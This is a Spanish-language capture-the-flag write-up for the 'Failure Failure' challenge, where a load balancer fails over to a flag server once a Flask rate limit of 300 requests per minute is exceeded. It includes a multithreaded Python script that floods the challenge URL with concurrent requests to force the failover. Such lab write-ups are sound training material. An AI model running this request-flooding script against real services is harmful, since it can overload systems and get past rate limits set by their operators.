Failure Failure writeup

Descripción
Welcome to Failure Failure — a high-available system.
This challenge simulates a real-world failover scenario where one server is prioritized over the other.
A load balancer stands between you and the truth — and it won’t hand over the flag until you force its hand.
Failure Failure solución
Al lanzar la instancia tendremos acceso al código de la aplicación web hecho en Flask y al archivo de configuración del proxy. Dentro del código de la aplicación web veremos lo siguiente:
@limiter.limit("300 per minute")
Con lo cual, tenemos que enviar más de 300 peticiones en un solo minuto para saturar un servidor y que se nos rediria al de la flag. Para ello usaremos el siguiente código de Python:
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
import time
URL = "http://mysterious-sea.picoctf.net:51070/"
TOTAL_PETICIONES = 300
MAX_THREADS = 20
def hacer_peticion(numero):
try:
respuesta = requests.get(URL, timeout=10)
return numero, respuesta.status_code
except requests.RequestException as e:
return numero, f"Error: {e}"
inicio = time.monotonic()
with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
futuros = [
executor.submit(hacer_peticion, i)
for i in range(1, TOTAL_PETICIONES + 1)
]
for futuro in as_completed(futuros):
numero, resultado = futuro.result()
print(f"Petición {numero}: {resultado}")
duracion = time.monotonic() - inicio
print(f"\n300 peticiones completadas en {duracion:.2f} segundos")
if duracion < 60:
print("Objetivo de peticiones cumplido")
else:
print("Objetivo de peticiones no cumplido")
Dado que si usamos un único hilo para esto cada petición tardará más de un segundo, se han usado varios para lograr el objetivo. Al volver a la página nos darán la flag, habiendo completado así el CTF:

Consultor de ciberseguridad especializado en continuidad de negocio y respuesta ante incidentes. Interesado en analizar tecnologías desde una perspectiva de seguridad y descubrir su comportamiento real.
